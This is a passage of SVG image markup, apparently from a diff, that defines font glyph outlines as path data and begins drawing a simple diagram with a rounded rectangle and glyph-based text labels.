-8.625 C 5.722656 -8.9375 5.132812 -9.09375 4.5 -9.09375 C 3.757812 -9.09375 3.203125 -8.769531 2.828125 -8.125 C 2.460938 -7.476562 2.28125 -6.460938 2.28125 -5.078125 C 2.28125 -4.523438 2.316406 -4.003906 2.390625 -3.515625 C 2.472656 -3.023438 2.609375 -2.597656 2.796875 -2.234375 C 2.992188 -1.878906 3.238281 -1.597656 3.53125 -1.390625 C 3.832031 -1.179688 4.207031 -1.078125 4.65625 -1.078125 C 5.007812 -1.078125 5.335938 -1.132812 5.640625 -1.25 C 5.941406 -1.375 6.191406 -1.519531 6.390625 -1.6875 Z M 6.8125 -0.515625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-5"> +<path style="stroke:none;" d="M 2.515625 -10.15625 L 2.515625 -3.9375 C 2.515625 -2.914062 2.617188 -2.179688 2.828125 -1.734375 C 3.046875 -1.296875 3.429688 -1.078125 3.984375 -1.078125 C 4.265625 -1.078125 4.515625 -1.132812 4.734375 -1.25 C 4.960938 -1.363281 5.164062 -1.515625 5.34375 -1.703125 C 5.519531 -1.890625 5.675781 -2.101562 5.8125 -2.34375 C 5.945312 -2.59375 6.054688 -2.847656 6.140625 -3.109375 L 6.140625 -10.15625 L 7.609375 -10.15625 L 7.609375 -2.890625 C 7.609375 -2.398438 7.625 -1.894531 7.65625 -1.375 C 7.6875 -0.851562 7.738281 -0.394531 7.8125 0 L 6.765625 0 L 6.40625 -1.421875 L 6.34375 -1.421875 C 6.113281 -0.972656 5.78125 -0.582031 5.34375 -0.25 C 4.914062 0.0820312 4.375 0.25 3.71875 0.25 C 3.28125 0.25 2.898438 0.191406 2.578125 0.078125 C 2.253906 -0.0234375 1.976562 -0.21875 1.75 -0.5 C 1.519531 -0.789062 1.347656 -1.179688 1.234375 -1.671875 C 1.117188 -2.171875 1.0625 -2.804688 1.0625 -3.578125 L 1.0625 -10.15625 Z M 2.515625 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-6"> +<path style="stroke:none;" d=""/> +</symbol> +<symbol overflow="visible" id="glyph0-7"> +<path style="stroke:none;" d="M 8.0625 -6.5625 L 2.828125 -6.5625 L 2.828125 0 L 1.296875 0 L 1.296875 -14.234375 L 2.828125 -14.234375 L 2.828125 -7.96875 L 8.0625 -7.96875 L 8.0625 -14.234375 L 9.59375 -14.234375 L 9.59375 0 L 8.0625 0 Z M 8.0625 -6.5625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-8"> +<path style="stroke:none;" d="M 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.390625 L 2.71875 -9.390625 C 3.28125 -10.066406 4.019531 -10.40625 4.9375 -10.40625 C 5.976562 -10.40625 6.757812 -9.988281 7.28125 -9.15625 C 7.800781 -8.332031 8.0625 -7.03125 8.0625 -5.25 C 8.0625 -3.414062 7.710938 -2.050781 7.015625 -1.15625 C 6.316406 -0.257812 5.332031 0.1875 4.0625 0.1875 C 3.4375 0.1875 2.863281 0.113281 2.34375 -0.03125 C 1.832031 -0.175781 1.453125 -0.34375 1.203125 -0.53125 Z M 2.65625 -1.484375 C 2.851562 -1.378906 3.085938 -1.296875 3.359375 -1.234375 C 3.640625 -1.171875 3.9375 -1.140625 4.25 -1.140625 C 4.957031 -1.140625 5.515625 -1.472656 5.921875 -2.140625 C 6.335938 -2.816406 6.546875 -3.851562 6.546875 -5.25 C 6.546875 -5.832031 6.507812 -6.351562 6.4375 -6.8125 C 6.363281 -7.28125 6.25 -7.679688 6.09375 -8.015625 C 5.9375 -8.359375 5.734375 -8.625 5.484375 -8.8125 C 5.234375 -9 4.929688 -9.09375 4.578125 -9.09375 C 4.085938 -9.09375 3.679688 -8.945312 3.359375 -8.65625 C 3.046875 -8.363281 2.8125 -7.960938 2.65625 -7.453125 Z M 2.65625 -1.484375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-9"> +<path style="stroke:none;" d="M 1.203125 -1.890625 C 1.453125 -1.710938 1.8125 -1.546875 2.28125 -1.390625 C 2.75 -1.234375 3.28125 -1.15625 3.875 -1.15625 C 4.632812 -1.15625 5.25 -1.34375 5.71875 -1.71875 C 6.195312 -2.09375 6.4375 -2.675781 6.4375 -3.46875 C 6.4375 -4 6.300781 -4.460938 6.03125 -4.859375 C 5.757812 -5.253906 5.421875 -5.613281 5.015625 -5.9375 C 4.609375 -6.269531 4.171875 -6.597656 3.703125 -6.921875 C 3.242188 -7.242188 2.804688 -7.597656 2.390625 -7.984375 C 1.984375 -8.367188 1.644531 -8.8125 1.375 -9.3125 C 1.101562 -9.8125 0.96875 -10.414062 0.96875 -11.125 C 0.96875 -12.257812 1.3125 -13.097656 2 -13.640625 C 2.6875 -14.191406 3.578125 -14.46875 4.671875 -14.46875 C 5.347656 -14.46875 5.953125 -14.40625 6.484375 -14.28125 C 7.015625 -14.164062 7.441406 -14.015625 7.765625 -13.828125 L 7.28125 -12.484375 C 7.03125 -12.628906 6.675781 -12.765625 6.21875 -12.890625 C 5.769531 -13.015625 5.25 -13.078125 4.65625 -13.078125 C 3.925781 -13.078125 3.382812 -12.894531 3.03125 -12.53125 C 2.675781 -12.175781 2.5 -11.726562 2.5 -11.1875 C 2.5 -10.707031 2.632812 -10.285156 2.90625 -9.921875 C 3.175781 -9.554688 3.515625 -9.207031 3.921875 -8.875 C 4.328125 -8.550781 4.765625 -8.222656 5.234375 -7.890625 C 5.703125 -7.566406 6.140625 -7.203125 6.546875 -6.796875 C 6.953125 -6.390625 7.289062 -5.925781 7.5625 -5.40625 C 7.832031 -4.894531 7.96875 -4.285156 7.96875 -3.578125 C 7.96875 -2.378906 7.613281 -1.441406 6.90625 -0.765625 C 6.207031 -0.0859375 5.210938 0.25 3.921875 0.25 C 3.109375 0.25 2.441406 0.171875 1.921875 0.015625 C 1.398438 -0.128906 0.984375 -0.296875 0.671875 -0.484375 Z M 1.203125 -1.890625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-10"> +<path style="stroke:none;" d="M 3.71875 -3.59375 L 4.140625 -1.625 L 4.25 -1.625 L 4.546875 -3.59375 L 6.09375 -10.15625 L 7.578125 -10.15625 L 5.15625 -1.03125 C 4.96875 -0.300781 4.78125 0.378906 4.59375 1.015625 C 4.40625 1.648438 4.195312 2.203125 3.96875 2.671875 C 3.75 3.140625 3.5 3.503906 3.21875 3.765625 C 2.945312 4.035156 2.617188 4.171875 2.234375 4.171875 C 1.859375 4.171875 1.523438 4.109375 1.234375 3.984375 L 1.484375 2.609375 C 1.671875 2.671875 1.859375 2.679688 2.046875 2.640625 C 2.242188 2.597656 2.425781 2.484375 2.59375 2.296875 C 2.757812 2.109375 2.910156 1.828125 3.046875 1.453125 C 3.191406 1.078125 3.320312 0.59375 3.4375 0 L 0.140625 -10.15625 L 1.8125 -10.15625 Z M 3.71875 -3.59375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-11"> +<path style="stroke:none;" d="M 5.953125 0 L 5.953125 -6.03125 C 5.953125 -6.570312 5.9375 -7.035156 5.90625 -7.421875 C 5.875 -7.816406 5.800781 -8.132812 5.6875 -8.375 C 5.582031 -8.613281 5.429688 -8.789062 5.234375 -8.90625 C 5.046875 -9.03125 4.800781 -9.09375 4.5 -9.09375 C 4.03125 -9.09375 3.632812 -8.910156 3.3125 -8.546875 C 3 -8.191406 2.78125 -7.78125 2.65625 -7.3125 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.84375 -9.476562 3.179688 -9.789062 3.578125 -10.03125 C 3.972656 -10.28125 4.472656 -10.40625 5.078125 -10.40625 C 5.597656 -10.40625 6.019531 -10.289062 6.34375 -10.0625 C 6.675781 -9.84375 6.941406 -9.453125 7.140625 -8.890625 C 7.378906 -9.359375 7.722656 -9.726562 8.171875 -10 C 8.628906 -10.269531 9.128906 -10.40625 9.671875 -10.40625 C 10.117188 -10.40625 10.5 -10.347656 10.8125 -10.234375 C 11.132812 -10.117188 11.394531 -9.914062 11.59375 -9.625 C 11.789062 -9.332031 11.9375 -8.945312 12.03125 -8.46875 C 12.125 -7.988281 12.171875 -7.378906 12.171875 -6.640625 L 12.171875 0 L 10.71875 0 L 10.71875 -6.46875 C 10.71875 -7.34375 10.628906 -8 10.453125 -8.4375 C 10.285156 -8.875 9.898438 -9.09375 9.296875 -9.09375 C 8.773438 -9.09375 8.363281 -8.929688 8.0625 -8.609375 C 7.757812 -8.285156 7.546875 -7.851562 7.421875 -7.3125 L 7.421875 0 Z M 5.953125 0 "/> +</symbol> +<symbol overflow="visible" id="glyph0-12"> +<path style="stroke:none;" d="M 0.328125 -10.15625 L 1.5625 -10.15625 L 1.5625 -10.734375 C 1.5625 -12.003906 1.742188 -12.925781 2.109375 -13.5 C 2.472656 -14.070312 3.097656 -14.359375 3.984375 -14.359375 C 4.335938 -14.359375 4.65625 -14.335938 4.9375 -14.296875 C 5.21875 -14.253906 5.507812 -14.164062 5.8125 -14.03125 L 5.453125 -12.765625 C 5.203125 -12.867188 4.972656 -12.9375 4.765625 -12.96875 C 4.554688 -13.007812 4.359375 -13.03125 4.171875 -13.03125 C 3.898438 -13.03125 3.6875 -12.972656 3.53125 -12.859375 C 3.382812 -12.753906 3.273438 -12.585938 3.203125 -12.359375 C 3.128906 -12.128906 3.082031 -11.832031 3.0625 -11.46875 C 3.039062 -11.113281 3.03125 -10.675781 3.03125 -10.15625 L 5.140625 -10.15625 L 5.140625 -8.84375 L 3.03125 -8.84375 L 3.03125 0 L 1.5625 0 L 1.5625 -8.84375 L 0.328125 -8.84375 Z M 0.328125 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-13"> +<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-14"> +<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.203125 C 6.40625 -7.210938 6.285156 -7.945312 6.046875 -8.40625 C 5.804688 -8.863281 5.382812 -9.09375 4.78125 -9.09375 C 4.238281 -9.09375 3.789062 -8.925781 3.4375 -8.59375 C 3.082031 -8.269531 2.820312 -7.875 2.65625 -7.40625 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.25 -10.15625 L 2.515625 -9.09375 L 2.578125 -9.09375 C 2.835938 -9.457031 3.1875 -9.765625 3.625 -10.015625 C 4.070312 -10.273438 4.597656 -10.40625 5.203125 -10.40625 C 5.640625 -10.40625 6.019531 -10.34375 6.34375 -10.21875 C 6.675781 -10.101562 6.953125 -9.898438 7.171875 -9.609375 C 7.398438 -9.316406 7.570312 -8.925781 7.6875 -8.4375 C 7.800781 -7.945312 7.859375 -7.332031 7.859375 -6.59375 L 7.859375 0 Z M 6.40625 0 "/> +</symbol> +<symbol overflow="visible" id="glyph0-15"> +<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-16"> +<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-17"> +<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-18"> +<path style="stroke:none;" d="M 1.4375 -10.15625 L 2.90625 -10.15625 L 2.90625 0 L 1.4375 0 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/> +</symbol> +<symbol overflow="visible" id="glyph0-19"> +<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-20"> +<path style="stroke:none;" d="M 1.03125 -1.671875 C 1.300781 -1.503906 1.625 -1.363281 2 -1.25 C 2.375 -1.132812 2.757812 -1.078125 3.15625 -1.078125 C 3.601562 -1.078125 3.976562 -1.1875 4.28125 -1.40625 C 4.59375 -1.632812 4.75 -2 4.75 -2.5 C 4.75 -2.914062 4.65625 -3.257812 4.46875 -3.53125 C 4.28125 -3.800781 4.039062 -4.046875 3.75 -4.265625 C 3.457031 -4.484375 3.140625 -4.679688 2.796875 -4.859375 C 2.460938 -5.046875 2.148438 -5.269531 1.859375 -5.53125 C 1.566406 -5.789062 1.328125 -6.09375 1.140625 -6.4375 C 0.953125 -6.789062 0.859375 -7.238281 0.859375 -7.78125 C 0.859375 -8.65625 1.085938 -9.3125 1.546875 -9.75 C 2.015625 -10.1875 2.675781 -10.40625 3.53125 -10.40625 C 4.09375 -10.40625 4.578125 -10.351562 4.984375 -10.25 C 5.390625 -10.15625 5.738281 -10.019531 6.03125 -9.84375 L 5.65625 -8.625 C 5.394531 -8.757812 5.09375 -8.867188 4.75 -8.953125 C 4.414062 -9.046875 4.070312 -9.09375 3.71875 -9.09375 C 3.226562 -9.09375 2.867188 -8.988281 2.640625 -8.78125 C 2.421875 -8.582031 2.3125 -8.265625 2.3125 -7.828125 C 2.3125 -7.484375 2.40625 -7.191406 2.59375 -6.953125 C 2.789062 -6.722656 3.035156 -6.507812 3.328125 -6.3125 C 3.617188 -6.113281 3.929688 -5.910156 4.265625 -5.703125 C 4.609375 -5.503906 4.925781 -5.265625 5.21875 -4.984375 C 5.507812 -4.710938 5.75 -4.382812 5.9375 -4 C 6.125 -3.613281 6.21875 -3.128906 6.21875 -2.546875 C 6.21875 -2.160156 6.15625 -1.796875 6.03125 -1.453125 C 5.914062 -1.117188 5.734375 -0.828125 5.484375 -0.578125 C 5.234375 -0.328125 4.921875 -0.128906 4.546875 0.015625 C 4.171875 0.171875 3.734375 0.25 3.234375 0.25 C 2.640625 0.25 2.125 0.1875 1.6875 0.0625 C 1.25 -0.0507812 0.882812 -0.203125 0.59375 -0.390625 Z M 1.03125 -1.671875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-21"> +<path style="stroke:none;" d="M 6.625 -10.15625 L 8.4375 -4.234375 L 8.796875 -2.28125 L 8.84375 -2.28125 L 9.140625 -4.265625 L 10.53125 -10.15625 L 11.90625 -10.15625 L 9.203125 0.21875 L 8.375 0.21875 L 6.328125 -6.4375 L 6.03125 -8.15625 L 6 -8.15625 L 5.71875 -6.421875 L 3.71875 0.21875 L 2.890625 0.21875 L 0.109375 -10.15625 L 1.671875 -10.15625 L 3.234375 -4.25 L 3.46875 -2.28125 L 3.515625 -2.28125 L 3.875 -4.296875 L 5.546875 -10.15625 Z M 6.625 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-22"> +<path style="stroke:none;" d="M 1.609375 -14.234375 L 3.125 -14.234375 L 3.125 0 L 1.609375 0 Z M 1.609375 -14.234375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-23"> +<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-24"> +<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-25"> +<path style="stroke:none;" d="M 3.65625 -4.203125 L 4.0625 -2.203125 L 4.109375 -2.203125 L 4.46875 -4.25 L 6.265625 -10.15625 L 7.8125 -10.15625 L 4.328125 0.21875 L 3.625 0.21875 L 0.078125 -10.15625 L 1.75 -10.15625 Z M 3.65625 -4.203125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-26"> +<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.734375 -14.207031 2.195312 -14.285156 2.6875 -14.328125 C 3.175781 -14.367188 3.65625 -14.390625 4.125 -14.390625 C 4.664062 -14.390625 5.203125 -14.328125 5.734375 -14.203125 C 6.265625 -14.085938 6.742188 -13.863281 7.171875 -13.53125 C 7.597656 -13.207031 7.941406 -12.757812 8.203125 -12.1875 C 8.460938 -11.625 8.59375 -10.898438 8.59375 -10.015625 C 8.59375 -9.160156 8.46875 -8.4375 8.21875 -7.84375 C 7.96875 -7.25 7.632812 -6.765625 7.21875 -6.390625 C 6.8125 -6.015625 6.335938 -5.742188 5.796875 -5.578125 C 5.265625 -5.410156 4.710938 -5.328125 4.140625 -5.328125 C 4.085938 -5.328125 4 -5.328125 3.875 -5.328125 C 3.757812 -5.328125 3.632812 -5.328125 3.5 -5.328125 C 3.363281 -5.335938 3.226562 -5.347656 3.09375 -5.359375 C 2.96875 -5.378906 2.878906 -5.394531 2.828125 -5.40625 L 2.828125 0 L 1.296875 0 Z M 4.203125 -12.984375 C 3.929688 -12.984375 3.671875 -12.972656 3.421875 -12.953125 C 3.171875 -12.929688 2.972656 -12.90625 2.828125 -12.875 L 2.828125 -6.8125 C 2.878906 -6.78125 2.960938 -6.757812 3.078125 -6.75 C 3.191406 -6.75 3.3125 -6.742188 3.4375 -6.734375 C 3.5625 -6.734375 3.679688 -6.734375 3.796875 -6.734375 C 3.910156 -6.734375 3.992188 -6.734375 4.046875 -6.734375 C 4.421875 -6.734375 4.785156 -6.78125 5.140625 -6.875 C 5.492188 -6.96875 5.804688 -7.140625 6.078125 -7.390625 C 6.347656 -7.640625 6.566406 -7.976562 6.734375 -8.40625 C 6.910156 -8.832031 7 -9.367188 7 -10.015625 C 7 -10.585938 6.921875 -11.0625 6.765625 -11.4375 C 6.609375 -11.820312 6.398438 -12.128906 6.140625 -12.359375 C 5.890625 -12.585938 5.59375 -12.75 5.25 -12.84375 C 4.914062 -12.9375 4.566406 -12.984375 4.203125 -12.984375 Z M 4.203125 -12.984375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-27"> +<path style="stroke:none;" d="M 0.875 -7.109375 C 0.875 -9.523438 1.257812 -11.351562 2.03125 -12.59375 C 2.800781 -13.84375 3.976562 -14.46875 5.5625 -14.46875 C 6.414062 -14.46875 7.140625 -14.296875 7.734375 -13.953125 C 8.335938 -13.609375 8.820312 -13.117188 9.1875 -12.484375 C 9.5625 -11.847656 9.835938 -11.070312 10.015625 -10.15625 C 10.191406 -9.25 10.28125 -8.234375 10.28125 -7.109375 C 10.28125 -4.703125 9.890625 -2.875 9.109375 -1.625 C 8.335938 -0.375 7.15625 0.25 5.5625 0.25 C 4.726562 0.25 4.007812 0.078125 3.40625 -0.265625 C 2.8125 -0.617188 2.320312 -1.113281 1.9375 -1.75 C 1.5625 -2.382812 1.289062 -3.15625 1.125 -4.0625 C 0.957031 -4.96875 0.875 -5.984375 0.875 -7.109375 Z M 2.484375 -7.109375 C 2.484375 -6.316406 2.539062 -5.5625 2.65625 -4.84375 C 2.769531 -4.125 2.945312 -3.492188 3.1875 -2.953125 C 3.4375 -2.410156 3.753906 -1.972656 4.140625 -1.640625 C 4.535156 -1.316406 5.007812 -1.15625 5.5625 -1.15625 C 6.582031 -1.15625 7.359375 -1.640625 7.890625 -2.609375 C 8.421875 -3.585938 8.6875 -5.085938 8.6875 -7.109375 C 8.6875 -7.898438 8.625 -8.65625 8.5 -9.375 C 8.382812 -10.09375 8.207031 -10.722656 7.96875 -11.265625 C 7.726562 -11.816406 7.410156 -12.253906 7.015625 -12.578125 C 6.617188 -12.910156 6.132812 -13.078125 5.5625 -13.078125 C 4.5625 -13.078125 3.796875 -12.585938 3.265625 -11.609375 C 2.742188 -10.628906 2.484375 -9.128906 2.484375 -7.109375 Z M 2.484375 -7.109375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-28"> +<path style="stroke:none;" d="M 1.296875 -14.234375 L 7.625 -14.234375 L 7.625 -12.828125 L 2.828125 -12.828125 L 2.828125 -8.015625 L 7.234375 -8.015625 L 7.234375 -6.609375 L 2.828125 -6.609375 L 2.828125 -1.40625 L 7.71875 -1.40625 L 7.71875 0 L 1.296875 0 Z M 1.296875 -14.234375 "/> +</symbol> +</g> +</defs> +<g id="surface66205"> +<rect x="0" y="0" width="584" height="204" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/> +<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-miterlimit:10;" d="M -5 8 L 24 8 L 24 18 L -5 18 Z M -5 8 " transform="matrix(20,0,0,20,102,-158)"/> +<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.3 11.4 C 7.134375 11.4 7 11.534375 7 11.7 L 7 14.3 C 7 14.465625 7.134375 14.6 7.3 14.6 L 12.7 14.6 C 12.865625 14.6 13 14.465625 13 14.3 L 13 11.7 C 13 11.534375 12.865625 11.4 12.7 11.4 Z M 7.3 11.4 " transform="matrix(20,0,0,20,102,-158)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="257" y="110.00217"/> + <use xlink:href="#glyph0-2" x="270.055556" y="110.00217"/> + <use xlink:href="#glyph0-3" x="278.388889" y="110.00217"/> + <use xlink:href="#glyph0-4" 